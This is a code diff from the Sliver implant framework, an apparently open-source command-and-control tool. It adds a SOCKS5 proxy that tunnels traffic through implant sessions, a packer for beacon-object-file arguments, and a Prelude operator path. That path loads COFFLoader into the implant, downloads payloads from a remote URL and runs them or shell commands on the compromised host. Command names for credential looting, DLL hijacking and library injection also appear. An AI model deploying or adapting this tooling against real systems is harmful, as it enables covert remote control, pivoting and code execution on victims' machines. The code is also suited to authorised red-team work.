|
||||
FetchStr = "fetch"
|
||||
LootCredsStr = "creds"
|
||||
|
||||
RenameStr = "rename"
|
||||
@@ -212,8 +213,10 @@ const (
|
||||
MonitorStr = "monitor"
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
|
||||
ReactionStr = "reaction"
|
||||
|
||||
@@ -225,6 +228,8 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
|
||||
LibInjectStr = "lib-inject"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
)
|
||||
|
||||
// BOF Specific code
|
||||
|
||||
type BOFArgsBuffer struct {
|
||||
Buffer *bytes.Buffer
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddData(d []byte) error {
|
||||
dataLen := uint32(len(d))
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddShort(d uint16) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddInt(d uint32) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddString(d string) error {
|
||||
stringLen := uint32(len(d)) + 1
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dBytes := append([]byte(d), 0x00)
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddWString(d string) error {
|
||||
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
strBytes := append([]byte(d), 0x00)
|
||||
utf16Data, err := encoder.Bytes(strBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stringLen := uint32(len(utf16Data))
|
||||
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
|
||||
outBuffer := new(bytes.Buffer)
|
||||
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return outBuffer.Bytes(), nil
|
||||
}
|
||||
@@ -14,7 +14,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -126,7 +125,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
|
||||
// Cleanup
|
||||
defer func() {
|
||||
go conn.Close()
|
||||
core.Tunnels.Close(tunnel.ID)
|
||||
Tunnels.Close(tunnel.ID)
|
||||
}()
|
||||
|
||||
errs := make(chan error, 1)
|
||||
|
||||
@@ -36,6 +36,7 @@ var (
|
||||
consts.SessionOpenedEvent,
|
||||
consts.SessionUpdateEvent,
|
||||
consts.SessionClosedEvent,
|
||||
consts.BeaconRegisteredEvent,
|
||||
consts.CanaryEvent,
|
||||
consts.WatchtowerEvent,
|
||||
consts.LootAddedEvent,
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util/leaky"
|
||||
)
|
||||
|
||||
var (
|
||||
// SocksProxies - Struct instance that holds all the portfwds
|
||||
SocksProxies = socksProxy{
|
||||
tcpProxies: map[int]*SocksProxy{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
SocksConnPool = sync.Map{}
|
||||
SocksProxyID = 0
|
||||
)
|
||||
var coreLog = log.NamedLogger("ClientCore", "sessions")
|
||||
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
BindAddr string
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
type TcpProxy struct {
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
Session *clientpb.Session
|
||||
|
||||
Username string
|
||||
Password string
|
||||
BindAddr string
|
||||
Listener net.Listener
|
||||
stopChan bool
|
||||
KeepAlivePeriod time.Duration
|
||||
DialTimeout time.Duration
|
||||
}
|
||||
|
||||
// SocksProxy - Tracks portfwd<->tcpproxy
|
||||
type SocksProxy struct {
|
||||
ID int
|
||||
ChannelProxy *TcpProxy
|
||||
}
|
||||
|
||||
// GetMetadata - Get metadata about the portfwd
|
||||
func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
|
||||
return &SocksProxyMeta{
|
||||
ID: p.ID,
|
||||
SessionID: p.ChannelProxy.Session.ID,
|
||||
BindAddr: p.ChannelProxy.BindAddr,
|
||||
Username: p.ChannelProxy.Username,
|
||||
Password: p.ChannelProxy.Password,
|
||||
}
|
||||
}
|
||||
|
||||
type socksProxy struct {
|
||||
tcpProxies map[int]*SocksProxy
|
||||
mutex *sync.RWMutex
|
||||
}
|
||||
|
||||
// Add - Add a TCP proxy instance
|
||||
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
|
||||
f.mutex.Lock()
|
||||
defer f.mutex.Unlock()
|
||||
Sockser := &SocksProxy{
|
||||
ID: nextSocksProxyID(),
|
||||
ChannelProxy: tcpProxy,
|
||||
}
|
||||
f.tcpProxies[Sockser.ID] = Sockser
|
||||
|
||||
return Sockser
|
||||
}
|
||||
|
||||
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
go func() {
|
||||
for !tcpProxy.stopChan {
|
||||
FromImplantSequence := 0
|
||||
p, err := proxy.Recv()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
|
||||
n := v.(net.Conn)
|
||||
if p.CloseConn {
|
||||
n.Close()
|
||||
SocksConnPool.Delete(p.TunnelID)
|
||||
continue
|
||||
}
|
||||
coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
//fmt.Printf("recv data len %d \n", len(p.Data))
|
||||
_, err := n.Write(p.Data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
FromImplantSequence++
|
||||
}
|
||||
}
|
||||
}()
|
||||
for !tcpProxy.stopChan {
|
||||
l, err := tcpProxy.Listener.Accept()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
|
||||
SessionID: tcpProxy.Session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return err
|
||||
}
|
||||
|
||||
go connect(l, proxy, &sliverpb.SocksData{
|
||||
Username: tcpProxy.Username,
|
||||
Password: tcpProxy.Password,
|
||||
TunnelID: rpcSocks.TunnelID,
|
||||
Request: &commonpb.Request{SessionID: rpcSocks.SessionID},
|
||||
})
|
||||
}
|
||||
coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
tcpProxy.Listener.Close()
|
||||
proxy.CloseSend()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Remove - Remove a TCP proxy instance
|
||||
func (f *socksProxy) Remove(socksId int) bool {
|
||||
f.mutex.Lock()
|
||||
defer f.mutex.Unlock()
|
||||
if _, ok := f.tcpProxies[socksId]; ok {
|
||||
f.tcpProxies[socksId].ChannelProxy.stopChan = true
|
||||
delete(f.tcpProxies, socksId)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// List - List all TCP proxy instances
|
||||
func (f *socksProxy) List() []*SocksProxyMeta {
|
||||
f.mutex.RLock()
|
||||
defer f.mutex.RUnlock()
|
||||
socksProxy := []*SocksProxyMeta{}
|
||||
for _, socks := range f.tcpProxies {
|
||||
socksProxy = append(socksProxy, socks.GetMetadata())
|
||||
}
|
||||
return socksProxy
|
||||
}
|
||||
|
||||
func nextSocksProxyID() int {
|
||||
SocksProxyID++
|
||||
return SocksProxyID
|
||||
}
|
||||
|
||||
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
|
||||
|
||||
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
|
||||
|
||||
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
|
||||
|
||||
SocksConnPool.Store(frame.TunnelID, conn)
|
||||
|
||||
coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
|
||||
buff := leakyBuf.Get()
|
||||
defer leakyBuf.Put(buff)
|
||||
var ToImplantSequence uint64 = 0
|
||||
for {
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
if n > 0 {
|
||||
frame.Data = buff[:n]
|
||||
frame.Sequence = ToImplantSequence
|
||||
coreLog.Debugf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
err := stream.Send(frame)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ToImplantSequence++
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -99,11 +99,9 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
|
||||
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
|
||||
return 0, io.EOF
|
||||
}
|
||||
select {
|
||||
case data := <-tun.Recv:
|
||||
log.Printf("Read %d bytes", len(data))
|
||||
buff.Write(data)
|
||||
}
|
||||
recvData := <-tun.Recv
|
||||
log.Printf("Read %d bytes", len(recvData))
|
||||
buff.Write(recvData)
|
||||
n := copy(data, buff.Bytes())
|
||||
return n, nil
|
||||
}
|
||||
|
||||
@@ -290,6 +290,85 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright 2020, COFFLoader by TrustedSec, LLC
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
The above licensing was taken from the BSD licensing and is applied to COFFLoader as well.
|
||||
|
||||
Note that the COFFLoader is provided as is, and is a royalty free open-source application.
|
||||
|
||||
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
|
||||
is due (which means giving the authors the credit they deserve for writing it).
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright (C) 2018-2021 WireGuard LLC. All Rights Reserved.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a
|
||||
copy of this software and associated documentation files (the "Software"),
|
||||
to deal in the Software without restriction, including without limitation
|
||||
the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
||||
and/or sell copies of the Software, and to permit persons to whom the
|
||||
Software is furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
|
||||
DEALINGS IN THE SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright (c) 2019, The Garble Authors.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
|
||||
@@ -19,9 +19,26 @@ package main
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
insecureRand "math/rand"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/cli"
|
||||
)
|
||||
|
||||
// Attempt to seed insecure rand with secure rand, but we really
|
||||
// don't care that much if it fails since it's insecure anyways
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
}
|
||||
|
||||
func main() {
|
||||
cli.Execute()
|
||||
}
|
||||
@@ -1,12 +1,33 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -93,9 +114,11 @@ func (a *AgentSession) respond(message string) error {
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
//TODO handle link.payloadPath
|
||||
payloadPath := ""
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
@@ -104,6 +127,17 @@ func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
|
||||
@@ -0,0 +1,150 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
coffLoaderName = "coff-loader"
|
||||
loaderEntryPoint = "LoadAndRun"
|
||||
bofEntryPoint = "go"
|
||||
)
|
||||
|
||||
type bofArgs struct {
|
||||
ArgType string `json:"type"`
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
|
||||
if !isLoaderLoaded(session, rpc) {
|
||||
err = registerLoader(session, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
bofArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
}
|
||||
case "string":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddString(v)
|
||||
}
|
||||
case "wstring":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddWString(v)
|
||||
}
|
||||
case "short":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddShort(uint16(v))
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
extArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
parsedArgs, err := bofArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddString(bofEntryPoint)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(bof)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
extArgsBuffer, err := extArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch session.Arch {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
|
||||
loaderData, err := ioutil.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: session.OS,
|
||||
Init: "",
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if resp.Response != nil && resp.Response.Err != "" {
|
||||
return errors.New(resp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, ext := range extList.Names {
|
||||
if ext == coffLoaderName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
+51
-22
@@ -1,49 +1,78 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "config":
|
||||
// return updateConfiguration(task[1], agent)
|
||||
// case "shell":
|
||||
// return pty.SpawnShell(task[1], agent)
|
||||
case "bof":
|
||||
if len(task) != 2 {
|
||||
break
|
||||
}
|
||||
var bargs []bofArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, int(agentSession.Session.GetID())
|
||||
case "exit":
|
||||
return shutdown(agent, rpc, session)
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agent, rpc, session)
|
||||
bites, status, pid := execute(message, executor, agentSession)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", 0, 0
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
}
|
||||
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
|
||||
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
@@ -53,7 +82,7 @@ func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.Sl
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
}
|
||||
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
@@ -80,13 +109,13 @@ func splitMessage(message string, splitRune rune) []string {
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
|
||||
func shutdown(agentSession *AgentSession) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), 1, 0
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
|
||||
